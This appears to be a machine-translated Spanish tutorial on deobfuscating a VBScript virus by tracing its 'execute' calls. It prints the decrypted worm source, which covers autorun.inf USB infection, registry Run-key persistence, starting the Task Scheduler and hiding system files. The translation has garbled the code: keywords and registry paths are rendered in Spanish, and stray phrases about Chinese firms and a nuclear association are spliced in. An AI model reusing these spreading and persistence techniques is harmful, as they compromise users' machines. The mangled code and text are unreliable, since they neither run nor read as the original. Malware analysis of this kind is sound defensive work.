Red de conocimiento informático - Conocimiento sistemático - Tutorial ded del paquete de código fuente

Tutorial ded del paquete de código fuente

Hola

Este es un virus de secuencia de comandos vbs. Parece un código confuso y no se puede entender en absoluto. De hecho, aún quedan huellas por seguir. La idea es encontrar la palabra clave "ejecución". Finalmente, el virus será reemplazado por algo que la máquina pueda entender, lo que significa que el contenido de la última capa de ejecución es el código fuente del virus. Con base en esta idea, podemos saber que el método de descifrado debe estar en esta ejecución.

En otras palabras: no necesitas saber cómo se cifra, solo necesitas saber qué es ejecutar.

Siguiendo esta idea, podemos obtener el código antes de la última iteración del proceso de cifrado del programa, es decir, el código para la primera iteración del descifrado todavía parece confuso, pero de la misma manera. , siempre podemos encontrar la palabra clave ejecutar. Un virus puede pasar por muchas iteraciones, pero eventualmente será comprendido.

Cabe señalar que si el contenido después de la ejecución se descifra y realmente se ejecuta con ejecutar, entonces será una trampa, por lo que se debe tener en cuenta que la ejecución no se puede colocar y ejecutar juntas.

El siguiente es el fragmento de código que finalmente descifré.

En comparación con BT, el autor de este programa cifró manualmente muchos lugares y codificó manualmente el código, lo que obstaculizó seriamente la legibilidad del programa.

Después de analizar el código, su función general es

1. Inicia automáticamente al arrancar

2. Infección del disco USB

3. Destruye las funciones ocultas del sistema

Continúa con el siguiente paso cuando ocurre un error

j="\":til="SY":btj=900:vs= ". vbs":ve= " . vbe ":cm = " % com spec %/c ":dfo = "/u # t/":INF = " \ autorun INF "

set ws = createobject. (" wscript . shell " ):set FSO = createobject(" scripting . objeto del sistema de archivos ")

set wmi = getobject(" winmgmt:\ \.\ root \ CIM v2 "):set sis = wmi . execquery(" seleccione * de win32 _ sistema operativo ")

establezca DC = unidades FSO: establezca ATS = wmi .(" seleccione * de win32 _ servicio donde nombre = 'Programar' ").

Para cada ATC en ats: cat = ATC state:next: si cat="Detenido ", entonces ws.run "net start ""programador de tareas" "", 0, false

ouw = wscript . nombre completo del script:win = FSO . getspecialfolder(0)amp; j:dir = FSO . = dir & amp ;" wbem\":mir=left(ouw,len(ouw)-len(wscript . nombre del script))

CNR = " \ nombre de la computadora ":CNP = " HKLM \system \ conjunto de control actual \ Control "y China CNR Group Co., Ltd. China CNR Corporation Limited.

cnr: cna=rr (cnp, 0): si cna = " " entonces cna = til

WSC = " wscript . exe " : CSC = " cscript . exe " : CSS = CSC & amp; //sin logotipo ":wsr = rn &:createobject (""wscript.shell " "). Ejecute "

c = vbcrlf:Inc = til & amp;c & amp"[Autorun]" & amp;c & amp" open = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell \ open \ command = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell\open\default=1 "

SF = " carpetas de shell \ ":ROP = " \software\Microsoft\windows\actual version\explorer\":DAP = RR("HKCU"&rop&sf&"Desktop",0)&j

HKLM Software Corporation .cna &j:FSP = RR ("HKLM" &rop&ampsf&"Inicio normal",0)&J&J.

vs:FAP = RR(" HKCU "rop&sf&"Favoritos",0)&j

ht=ec("ivwt?56"):ha = EC(": ;9:7>5k w9 ") :HB = HL & amp;"1;& lt& lt= 6x " & amphl & amp" r;":hc="0dwuEpE":hd=ec

(" $"+hc):he =ec("c"+hc)

RSP = " HKLM\Software\Microsoft\Windows\Current Version\ ":rsb = RSP & amp;" ejecutar \ ":RSP = RSP &"Policy \Explorer\Run\"&canadian nuclear Association Asociación Nuclear Canadiense

hip="HKCU"&rop&advanced\showsuperhidden" :SZ = lcase(FSO . get filename(wscript . nombre completo)):if mir=dir, luego sys=true

Para cada si en

sis:ca = si . Idioma del sistema operativo:wv = si .version:next

if instr(wv, "5.2")& lt; & gt0 entonces hb="w"+hb:lb="v "de lo contrario, si os &. lt& gt2052 y cc & lt& gt entonces 86

HB = " p "+HB:lb = " o " else HB = " d "+HB:lb = " c "

Para cada d en dc

si mir = d & ampj entonces ws.run " explorer " & ampd , 3, false:bir=true

Entonces

Si bir o sys o mir=win o mir=wbe, entonces tir=true else wscript.quit

ouc=rt(ouw,-1):ver=gv(ouw):if ver="" o no isnumeric(ver) then msgbox("¡Nos vemos!"):km 1

else km 0

Si sys entonces

Si sz=wsc, entonces pr csc, -1

Si pr(csc, 2)=1, entonces wscript.quit

wscript.sleep 2000

Si pr(csc, 1)=0, entonces ws.run css & amp director & ampve, 0, false: si pr(csc, 1) =1, entonces wscript.quit

if rr("til ", 1) & lt;& gttil luego wr "til ", til:wr "tjs ", btj:wr "djs ", fecha- 1:wr "ded",0

djs=rr("djs", 1): si es fecha (DJ) y fecha-c fecha (DJ)>50 lb<& gt"o"entonces wr "OSW", 4

Si rr("atd ", 1)=1 entonces ws. ejecute "at /d /y ", 0, false:wr "atd ", 0

le=rr("dna", 1):if ei(tmp & le, 1) entonces ws.run tmp y soy

pComercio pragmático (Bolsa de trabajo)ˌBajo explosivo(Bajo explosivo)ˌAgencia de empleo (Bolsa de trabajo)

cu:er 10

Otros

wscript .sleep 5000

Si pr(wsc, 2)=2 entonces: si rr("tjc ", 1)=cstr(fecha) entonces: wscript.quit:else:wr "tjc ", fecha

Si pr(csc,1)<>1 o pr(wsc,1)=0, entonces bf dir&ve,ouc,7:ws ejecuta CSS&director&ve,0 , false

Terminará si... .

Si pa=1, entonces arn = rpa y amp ácido ribonucleico

rr=ws.regread(rna)

Si er(0) entonces rr =0

para I = 1 a len(wt):EC = EC+chr(ASC(mid(wt,I,1))- i):Siguiente

Porque como JS, VBS es un lenguaje interpretado y el código se ejecuta línea por línea de arriba a abajo. Entonces, el truco para entender este tipo de código es:

Cuando buscamos el punto de entrada de descifrado, debemos priorizar la última ejecución. El autor hace un uso extensivo del empalme lógico. . . Es un cifrado muy BT. . . Ansioso...